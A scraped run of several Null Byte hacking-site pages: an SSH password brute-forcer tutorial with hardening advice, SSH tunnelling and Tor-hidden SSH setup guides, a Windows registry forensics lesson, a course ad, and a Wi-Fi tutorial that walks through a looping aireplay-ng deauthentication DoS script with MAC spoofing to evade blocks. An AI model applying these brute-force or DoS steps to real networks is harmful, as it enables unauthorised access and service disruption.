( Optional ) Checks if password file path is correct. ( 1 / 10 )Socket - ( Optional ) Makes sure our script does not mess up. ( 2 / 10 )STEP 2: Declaring Program VariablesIn Python, Global variables are simply variables that are accessible any where in a program. A variable is assigned global by passing the variable name to the global object.Eg. global knife- ( Variable knife is global and can be accessed anywhere in the program.We defined multiple global variables - host, username, line, input_fileline - Has been assigned a string, Actually this string will help differentiate the right credentials during the bruteforcing process which we will tackling in a moment.STEP 3: Collecting Program InformationVariablehost- Holds the target addressVariableusername- Holds the ssh username to be bruteforcedVariableinput_file- Holds the file path stringWe may attempt bruteforcing the user's passwords when we know the user's username. For a successful bruteforce, One needs to have a correct username and i guess a password list i.e One that contains the password.We basically need 3 information i.e the host address, username and the password file path. After the information is received, We check if the password file path is correct since the entire process is based on it and we can't afford wrong file paths, After that, we use theos.path.existsfunction to check if the file exists, If it doesn't, then we printFile Path Does Not Exist !!!and exit the script returning an integer of 4 to the caller.Except KeyboardInterruptThis handles keyboard interrupts ( Ctrl + C ) should the user want to close the script for whatever purposes. This prevents python from stopping our program execution and spilling its Keyboard Interrupt exception code to the screen. ( Kind-off seems unprofessional ). Like this ..Image viawonderhowto.comLet's see what our program does when a user hits the interrupt command.Nicely done !!!STEP 4: ssh_connect() FunctionFunctions are best placed below the import statements and above the program codes, This makes it accessible to all below it.This function accepts an argument - password ( Another argumentcodeis optional and has been set to0)What this function basically does is to set up the ssh client, connect, close and return an integer.We make our script return0to its caller should the credentials used to connect to the SSH server be correct.We make our script also return1to its caller should the credentials used to connect to the SSH server be wrong.We finally make our script return2to its caller should the connection fail i.e Host is down, Internet Connectivity or any error with the connectionNOTICE:On line 12, the port was specified ( I know SSH uses port 22 by default), Because some servers change the service configuration port to invade bruteforcing and other port based attacks.STEP 5: FINAL MAGICThe first line opens the file streamA newline is added to the terminal screenFor each line i.e word ( password ) in the filestream: Do this ...Assign the line to a variablepassword.Execute thessh_connect()function passing the variable password to it and then assign the return code to a new variable calledresponseIf the response variable holds integer0, then we know the password was found, the print statement issuesUser: <user> Pass Found: <password>to the terminalIf the response variable holds integer1, then we know the login is wrong, We print our wrong login error, the script then takes off and tries the process again until the last lineof the password file.If the response variable holds integer2, then we know the connection is a dead end i.e Host is not available ( down ), We then immediately exit the script with a print statement issuingConnection Could Not Be Established To Address: <address>After every line or word or password is tried, Close the password file stream. Ladies and Gentlemen !!!, This is the end of the magic ....STEP 6: EXECUTING SCRIPTThe user we are going to try bruteforcing isBoband his password issergeantbut this tutorial assumes we do not know the password, only the username.A peek into our password file:/root/Desktop/password.txtLet's test our program execution.HOW TO REDUCE BRUTE-FORCE LOGIN ATTEMPTSTry switching your SSH service to a non-standard port from the default 22Install an auto-ban script such asfail2ban-apt-get install fail2banInstall firewalls that can stop such attacksDon't allow root to loginDon't allow ssh passwords ( use private key authentication )Don't listen on every interfaceCreate a network interface for SSH (e.g eth1), which is different to the interface you serve requests from (e.g eth0)Don't use common usernamesUse an allow list, and only allow users that require SSH AccessIf you require Internet Access...Restrict Access to a finite set of IPs. One static IP is ideal, however locking it down to x.x.0.0/16 is better than 0.0.0.0/0If possible find a way to connect without Internet Access, that way you can deny all internet traffic for SSH (e.g with AWS you can get a direct connection that bypasses the Internet, it's called Direct Connect)Make sure OS is always up to date, in particular security and ssh packages -StackOverflowCONCLUSIONThis method is quite loud on the server I think and the server could easily blacklist us.Take precaution and don't end up in 9 step to and fro cell.Hope someone had fun today because am completely and happily bored. This post will be one for a very long time. Nice community.PeaceImage viawonderhowto.com# SergeantWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Automate Brute-Force Attacks for Nmap ScansHow To:Brute-Force Nearly Any Website Login with HatchHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHow To:Use variables and strings when programming in Python 2How To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Perform Network-Based Attacks with an SBC ImplantSPLOIT:How to Find the Exact Location of Any Internet Address ( GUI - Linux )How To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Spy on SSH Sessions with SSHPry2.0How To:Create Custom Wordlists for Password Cracking Using the MentalistHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Use Beginner Python to Build a Brute-Force Tool for SHA-1 HashesHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Generate Word-Lists with Python for Dictionary AttacksHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Create an SSH Tunnel Server and Client in LinuxNews:Learning Python 3.x as I go (Last Updated 6/72012)How To:Code Your Own Twitter Client in Python Using OAuthWeekend Homework:How to Become a Null Byte Contributor (2/10/2012)News:Ball PythonsHow To:Make a Gmail Notifier in PythonHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorNews:Monty Python's World Cup - In case you haven't seen itHow To:Make a Change-of-IP Notifier in PythonPet Portrait Challenge:FranklinPygame:All You Need to Start Making Games in PythonNews:Learn to Code in Python, Part One: Variables, Input and Output |
How to Create an SSH Tunnel Server and Client in Linux Β« Null Byte :: WonderHowTo | SSHis what is referred to as theSecureSHell protocol. SSH allows you to do a plethora of great things over a network, all while being heavily encrypted. You can make a remote accessible shell on your home computer that gives you access to all your files at home, and you can even tunnel all of your traffic to keep you anonymous and protected on public Wi-Fi. It has many great uses and is a must have tool for your arsenal. It was designed to replace the insecure Telnet protocol, which sends passwords through the network inplaintext.In thisNull Byte, we are going over how to set up the home server, and access it remotely in a nice vTutorial, using the freeOpenSSHclient and Daemon.Install & Configure OpenSSHFirst, follow this video demo to learn how to install and configure OpenSSH.Please enable JavaScript to watch this video.Go to youtube and full screen it!Commandssudo pacman -S opensshuseradd -m -g users -G games newguysudo nano /etc/ssh/sshd_configAllow TCP forwardingEnable any custom settings that you want if you know what you're doing.sudo rc.d sshd startssh -p (port you want) newguy@localhostUtilize Your Secure Shell to Encrypt TrafficTo run encrypted traffic through your tunnel, start port forwarding and in the terminal, type:ssh -ND 9070 <username>@<host IP> -p 6996Then in your selected application, go to the network settings and forward traffic through SOCKSv5 port 9070. You will be safe from local network attacks and be heavily encrypted.That's about it. Questions? Comevisit us on IRCon Freenode, channel #nullbytez.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Rasberry Pi:Connecting on ComputerSSH the World:Mac, Linux, Windows, iDevices and Android.How To:Create an SSH tunnel for your Mac Mini serverHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Enable the New Native SSH Client on Windows 10How To:Share Your LAN Minecraft World with Your Linux-Savvy FriendsHow To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)How To:Secure your data with an SSH TunnelHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHack Like a Pro:How to Create a Nearly Undetectable Covert Channel with TunnelshellHow To:Create a Native SSH Server on Your Windows 10 SystemHow to Hack Wi-Fi:Evading an Authentication Proxy Using ICMPTXHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksSPLOIT:How to Make an SSH Brute-Forcer in PythonHow To:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkHow To:Hide Your IP Address with a Proxy ServerHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesHow To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Punchabunch Just Made SSH Local Forwarding Stupid EasyHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxMastering Security, Part 2:How to Create a Home VPN TunnelNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Code a Basic TCP/IP Client & Server Duo in PythonHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Run an FTP Server from Home with LinuxHow To:Use Tortunnel to Quickly Encrypt Internet TrafficHow To:Become Anonymous on the Internet Using TorHow To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+News:Flaw in the Latest Linux Graphical Server Allows Passwordless LoginsHow To:Chain VPNs for Complete Anonymity |
Hack Like a Pro: Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry) Β« Null Byte :: WonderHowTo | Welcome back, my fledgling hackers!Inthis series, I am trying to develop your knowledge of digital forensics, which is valuable whether you're choosing a career in itorjust want to know how your hacker activity can be traced. Few professional digital forensic investigators have a hacking background, but the best ones do.The occupation of digital forensic investigation is a rapidly growing one. Nearly every crime has a digital component these days. This might include things as innocuous as a text message, a Google search, or an email, and law enforcement and civil litigators need trained professionals to find the necessary information and preserve it in a forensically sound manner.Finding Storage Device Artifacts in a Windows RegistryAs I have mentioned ina previous article in this series, the registry in Windows is how Microsoft manages the operating system. As such, it contains volumes of information on who, what, where, and how activity took place on this system. If we know where and how to look in the registry, we can build a strong case of what actually took place there.In this tutorial, we will focus on finding evidence of storage devices within the registry. Often, the suspect will use a Flash drive or hard drive for their malicious activities and then remove them so as not to leave any evidence. The skilled forensic investigator, though, can still find traces of evidence of those storage devices within the registry, if they know where to look.Image viaShutterstockThe registry on a Windows system varies a bit from version to version. A skilled, professional digital forensic investigator needs to be able to work with nearly all versions of Windows and other operating systems. Since Windows 7 is still the most widely used operating system, by far, I will be demonstrating on it. Keep in mind, though, that this will vary slightly between versions.Step 1: Open RegeditAlthough a forensic investigator will usually be working on an image file and using a forensic suite, we can clearly demonstrate the principals and locations by using regedit on a live system. In some forensic investigations, you might actually have the need or luxury of working on a live system, but it is rare. Usually, you will be using an image, but the registry remains the same whether live or image.To open the Registry Editor, type "regedit" at the command prompt. When you do so, it will open the Registry Editor as seen below.As you remember froma previous tutorial, the registry has five hives.Step 2: USB Storage DevicesImagine a case where we suspect that someone installed a keylogger or removed confidential information with a USB drive. How would we find evidence that a USB storage device was inserted and used? To find evidence of USB storage devices, we want to look at the following key.HK_Local_Machine\System\ControlSet00x\Enum\USBSTORIn this key, we will find evidence ofanyUSB storage device that haseverbeen connected to this system. Expand USBSTOR to see a listing of every USB storage device ever connected to this system.In the screenshot above, I have circled one suspicious looking USB device. When we expand it, it reveals a unique identifier for that device. By clicking on this identifier, we can find much more information about the device.As you can see in the screenshot above, when we click on the USB storage identifier, it reveals in the right-hand window the Global Unique Identifier (GUID), the friendly name, and the hardware ID, among other things. This may be exactly the evidence we need to tie the suspect to their activity on this system!Step 3: Mounted DevicesIf the suspect used any hardware device that must be mounted to either read or write data (CD-ROM, DVD, hard drive, flash drive, etc.), the registry will record the mounted device. This information is stored at:HKEY_LOCAL_MACHINE\System\MountedDevicesAs you can see below, when we click on this key, it provides us a long list of every device ever mounted on that machine.If we need further information on any of those mounted devices, we can simply click on it, and it will open a small app that will enable us to read the data in ASCII. As you can see, this device was an IDE CD-ROM manufactured by Teac.If there is not a TEAC CD_ROM on the system, the forensic investigator now knows that they need to find this piece of hardware to find further evidence of the crime.The registry is a depository of volumes of information on what happened on a Windows system, and by learning our way around it, we can reconstruct the elements of a crime that it was used for.Keep coming back, my aspiring forensic investigators, as we exploremore waysto find evidence of criminal or malicious activity.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)News:Why YOU Should Study Digital ForensicsHack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)How To:The Essential Skills to Becoming a Master HackerNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 7 (Windows Sysinternals)How To:Become a Computer Forensics Pro with This $29 TrainingHack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)News:What to Expect from Null Byte in 2015Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 14 (Live Memory Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)News:Airline Offers Frequent Flyer Miles to HackersSPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Digital Forensics Using Kali, Part 3 (Creating Cases in Autopsy & Sleuth Kit)News:You Can Get a OnePlus 7 Pro with INSANE Specs for the Price of theXRor S10eHow To:Why You Should Study to Be a HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 16 (Extracting EXIF Data from Image Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 13 (Browser Forensics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:Track a USB deviceNews:Flawed Laptop Fingerprint Readers Make Your Windows Password Vulnerable to HackersHow To:Complete the Registry of Foundables & Obtain Treasures in Harry Potter: Wizards UniteGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsNews:Day 2 Of Our New WorldCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingNews:FIX WINDOWS 7 SLOW STARTUP TIMES... |
Learn How to Play the Market with This Data-Driven Trading Bundle Β« Null Byte :: WonderHowTo | If you're reading this, you're likely a tech-savvy coding pro whose analytical talents are mostly applied to designing apps,cracking passwords, and infiltrating networks β all of which are admirable activities for both aspiring and seasoned white hat hackers. But there are other profitable ways that you can put these types of skills to use, namely in the world of investment and trading.Whether you're interested in beginning a full-fledged career as a day trader or simply want to earn some extra cash on the side, thePremium Novice-to-Expert Day Trading & Technical Analysis Bundlewill teach you how to break into this exciting and lucrative field for just $49.99.Image by Adam Nowakowski/UnsplashDesigned for tech pros and data gurus who have a talent for large-scale analysis, this 10-course bundle will teach you how to give your finances a boost by taking advantage of time-tested strategies pertaining to day trading, swing trading, and more.If you're primarily interested in developing a short-term portfolio that can bring you a passive income with minimal investment, start with this bundle's day trading courses that will teach you how to identify patterns in complex financial data, monitor trends in the market, and use leading analytical platforms such asTradingView.Or, if you're more interested in developing a long-term investment strategy that will bring you more significant gains, check out the swing trading courses that revolve primarily around analyzing company viability, creating frameworks that can allow you to gauge a firm's overall profitability, and learning the latest investment strategies that will minimize risk across the board.Regardless of the specific investment tools and strategies you end up using to reach your goals, you'll have access to a massive trove of information that will help you make sound financial and investment decisions by utilizing hard data and powerful analytical tools.Turn your love and talent for data and analysis into a high-paying investment strategy with help from the Premium Novice-to-Expert Day Trading & Technical Analysis Bundle β on sale for over 90% off its usual price atjust $49.99.Prices are subject to change.Don't Miss Out:Premium Novice-to-Expert Day Trading & Technical Analysis Bundle for $49.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byAdam Nowakowski/UnsplashRelatedHow To:Learn How to Speculate & Make Money as a Day Trader While You're Stuck at HomeDeal Alert:Learn the Stock Market Inside & Out for Under 30 BucksHow To:Become an In-Demand Data Scientist with 140+ Hours of TrainingHow To:Become a Big Data Expert with This 10-Course BundleHow To:You Can Learn the Data Science Essentials at Home in Just 14 HoursHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:Discover the Secrets of Trading Stocks for Under $30How To:Get Project Manager Certifications with Help from Scrum, Agile & PMPHow To:These Excel Courses Can Turn You into an In-Demand Data WizHow To:Supercharge Your Excel Skills with This Expert-Led BundleToday's Top News:China Is Cracking Down on US & Euro Driverless Mapping with New RestrictionsHow To:Become a Data-Driven Leader with This Certification BundleHow To:Harness the Power of Big Data with This eBook & Video Course BundleHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleBinance 101:How to Buy Ripple, TRON & Other Alt-Coins Using Bitcoin & EthereumHow To:Binance Trading Pairs Help You Keep Track of Your Favorite Coins' ValuesHow To:Start Managing Your Money & Investments Like a Pro with This Affordable Course BundleHow To:Become an In-Demand IT Pro with This Cisco TrainingHow To:Understand Math Like an Engineer for Under $30Binance 101:Sell Your Stellar, Ripple & Other Alt-Coins for Bitcoin or EthereumHow To:This Course Bundle Will Teach You How to Start & Grow a BusinessHow To:Expand Your Analytical & Payload-Building Skill Set with This In-Depth Excel TrainingNews:Baidu Teams Up with Leading Chinese Tier-Ones for DriverlessHow To:Here's the Ultimate Guide to Becoming a Data NinjaHow To:Learn How to Create Fun PC & Mobile Games for Under $30How To:Harness the Power of Google Analytics with This $20 TrainingHow To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:How Anyone Can Retire Early & Wealthy, Part 3: The Stock MarketNews:Android Reaches 10 Billion Downloads; Celebrate with Minecraft for $0.10!How To:Backup All of Your Xbox 360 Data to Your ComputerSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftNews:Price Drop! Xbox 360 Arcade now $149!News:It's Humble Indie Bundle Time! 5 Games for 'Name Your Price'News:The Humble Bundle Strikes Again with a "Frozen" ThemeHow To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsNews:Indie Game Music Bundle (Including Minecraft)News:Storage CellarNews:Creating Social Structures in Minecraft |
How to Hack Wi-Fi: DoSing a Wireless AP Continuously Β« Null Byte :: WonderHowTo | Welcome back, my nascent hackers!In previous tutorials for myWi-Fi Hacking series, I have shown you how to crackWEPandWPA2passwords, break aWPS PIN, and createEvil TwinandRogueaccess points. In this continuation of the series, let's look at slightly different approach to attacking wireless.(If you are new to hacking Wi-Fi, make sure you check outthe getting started guidebefore attempting any of the tasks mentioned above.)Our Cyber War ScenarioYour side, the good guys, of course, are about to launch an attack against the bad guys. Your mission is to knock out all of the wireless communication from their field command and control center so that your army can attack without any notifications being sent via Wi-Fi.Of course, in this scenario, we are only knocking out Wi-Fi communication. The bad guys could certainly still communicate by cellular phone, by wired communication, by satellite, etc., but those are the tasks of your compatriots. Your single task is to knock out their Wi-Fi communication indefinitely, or at least, as long as possible.How We'll Get the Job DoneIn this tutorial, we will useAircrack-ngand aBASHshell script that will DoS a wireless AP continuously. Unlike other resources on the web, APs are VERY easy to deny access to. There are multiple ways to DoS a wireless AP, but among the easiest is to use the de-authenticate frame.Step 1: Put Your Wireless Adapter into Monitor ModeFirst, fire upKaliand open a terminal. Then, in order to use Aircrack-ng effectively, we need to put ourwireless adapterinto monitor mode. This is the equivalent of promiscuous mode on a wired network card. When we do this, we can see all the wireless traffic passing through the air around us.kali > airmon-ng start wlan0Step 2: Use Airdump-Ng to Get the ParametersNow that we have our adapter in monitor mode, we need to useAirdump-ngto view all the parameters of all the traffic around us.kali airodump-ng mon0Note that the enemy's AP is named "TheDragonLair." That is the AP we will be DoSing, and that is the MAC address we need to write our script. In this case, it is 78:CD:8E:3B:B7:08, but yours, of course, will be different.Step 3: Open a Text Editor & Write the ScriptNow, we are going to useAireplay-ngto de-authenticate the users on TheDragonLair AP. You will need a text editor to create our script. Here, I will be using Leafpad, but you can use any text editor of your choice.We want a script that will send de-authentication frames to the AP and all clients, knocking everyone off the network. After doing so, we will give them 60 seconds to re-authenticate and then de-authenticate them again. We could write the script to send continuous de-authenticate frames, but that would likely be met with a countermeasure. We want to both confuse and block any effective wireless communication by the enemy.Copythis scriptinto your text editor, replacing the MAC address with the MAC address of your target AP. This simple script does the following.#!/bin/bashtells the terminal what interpreter to use.for i in {1..5000}creates a for loop that will execute our commands 5,000 times.docontains the commands we want to execute. Everything after the do and before the done will be executed in each loop.aireplay-ngsends the deauth frames 1,000 times (the default is continuous) to the MAC address of the AP (-a) from the interface mon0.sleep 60stells the script to sleep for 60 seconds. In this way, the clients will be able to re-authenticate for 60 seconds before we send another deauth flood. Hopefully, this short interval will lead them to believe that the problem is with their AP and not us.donecloses the for loop.The way we have written this script, it will de-authenticate ALL clients. Some APs will not allow this, and we would have to rewrite this script with the individual MAC addresses we want to de-authenticate.Now, save the script aswirelessDoS.Step 4: Change PermissionsTo be able to execute the script, we will need to give ourselves execute permissions. We use the Linux commandchmodfor this.kali > chmod 755 wirelessDoSStep 5: Execute the ScriptFinally, we execute the script by typing:kali > ./wirelessDoSNow that we have disabled the enemy's wireless communication, they may try to block your MAC address. An advanced variation of this script would be one where you use a tool like macchanger to change your MAC address before each de-authentication making it much harder for the enemy to block you deauth frames.Keep coming back, my nascent hackers, as we delve deeper into the world of hacking, cyber warfare, and cyber espionage!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Performing a Denial of Service (DoS) Attack on a Wireless Access PointHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Extend a (Hacked)Router's Range with a Wireless Adapter.How to Hack Wi-Fi:Creating an Evil Twin Wireless Access Point to Eavesdrop on DataHow to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:Build a Pumpkin Pi β The Rogue AP & MITM Framework That Fits in Your PocketHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network βUndetectedHow To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow To:Log Wi-Fi Probe Requests from Smartphones & Laptops with ProbemonHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Spy on Network Relationships with Airgraph-NgHow To:Extend Battery Life by Seamlessly Managing Wireless Radio Connections on Your Samsung Galaxy S3How To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Hack Wi-Fi Networks with BettercapNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How To:Auto-Manage Wireless Connections to Prolong Daily Battery Life on Your Samsung Galaxy Note 2How to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Automate Wi-Fi Hacking with Wifite2How to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Create an Evil Access Point with MitmAPHow To:Crack Wi-Fi PasswordsβFor Beginners!How To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Get Free Wi-Fi from Hotels & More |
How to Set Up an SSH Server with Tor to Hide It from Shodan & Hackers Β« Null Byte :: WonderHowTo | The nextlibSSHorOpenSSH exploitmay bejust around the corner. Keep your SSH service out of Shodan's database before hackers find new ways to bypass the password protecting the server.Shodanhas been called the "hacker's search engine" because it's literally a searchable database of internet-connected devices and servers. It allows anyone to search for webcams, routers, servers,Raspberry Pis, traffic lights, point of sale systems, industrial control systems, andmuch more.The web tool accomplishes this by randomly iterating through every possible IP address in existence (whether it's online or not being used) and attempts to extractservice bannerson different ports. Service banners usually store metadata about the running service, like the service name, type, and version number.Why Set Up SSH with Tor?Any internet-connected device will inevitably be scanned by Shodan and other databases likeCensys. Hackers use these databases to locate out-of-date, vulnerable servers. Even system administrators who regularly update their servers and follow the best security practices are exposed to exploits. ThelibSSHauthentication bypass vulnerability is an excellent example of this.The libSSH vuln allowed hackers to connect to SSH services without first performing authentication. The most fully up-to-date services were still vulnerable to this exploit and put many servers and websites at risk. More importantly, fully updated systems are still exposed to exploits that have yet to be disclosed. Blackhat's sometimes horde andsell vulnerabilitiesinprivate communities. There's no telling how many undisclosed OpenSSH exploits may exist today.Toronion servicescan help mitigate exposure. Much like how onion websites can't be accessed using a standard web browser, SSH services can be configured only to allow access over Tor. It can make services entirely inaccessible for search engines like Shodan and more difficult for hackers to find.Don't Miss:Top 10 Exploit Databases for Finding VulnerabilitiesStep 1: Install TorThe first thing we need to do is installToron both thevirtual private server(VPS) and the client computer. The client can be a Debian, Ubuntu, or a Kali system to follow along. MacOS and Windows 10 users can check out theofficial Tor Project documentationfor installingtorproperly. For most readers, the SSH server will likely be a Debian VPS. However, this can be set up on an Ubuntu desktop orRaspberry Pi, for those who wish to remotely access computers at home.Tor is available in many Linux repositories. In most cases, the packages aren't reliably maintained or updated, which means there could be missing critical stability and security updates. Furthermore, anonymity software should always be acquired directly from the source (i.e.,torproject.org).Log into your SSH server and add the Tor Project's repository to your APT repository list with the followingechocommand, which works in Debian.~$ echo -e "deb https://deb.torproject.org/torproject.org $(lsb_release -sc) main \ndeb-src https://deb.torproject.org/torproject.org $(lsb_release -sc) main" > /etc/apt/sources.list.d/tor.listIf you're running Kali Linux, use the following command instead.~$ echo -e "deb https://deb.torproject.org/torproject.org stretch main \ndeb-src https://deb.torproject.org/torproject.org stretch main" > /etc/apt/sources.list.d/tor.listThen, download theTor Project's package signing keyand import it into your APT keyring with the following command.~$ wget -O- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | sudo apt-key add -
--2019-03-05 06:29:13-- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc
Resolving deb.torproject.org (deb.torproject.org)... 82.195.75.101, 2001:41b8:202:deb:213:21ff:fe20:1426
Connecting to deb.torproject.org (deb.torproject.org)|82.195.75.101|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19665 (19K) [text/plain]
Saving to: βSTDOUTβ
- 100%[================================>] 19.20K 54.8KB/s in 0.4s
2019-03-05 06:29:16 (54.8 KB/s) - written to stdout [19665/19665]You'll see the "OK" output when the signing key has been added to your keyring. Next, update APT using the belowapt-getcommand.~$ apt-get update
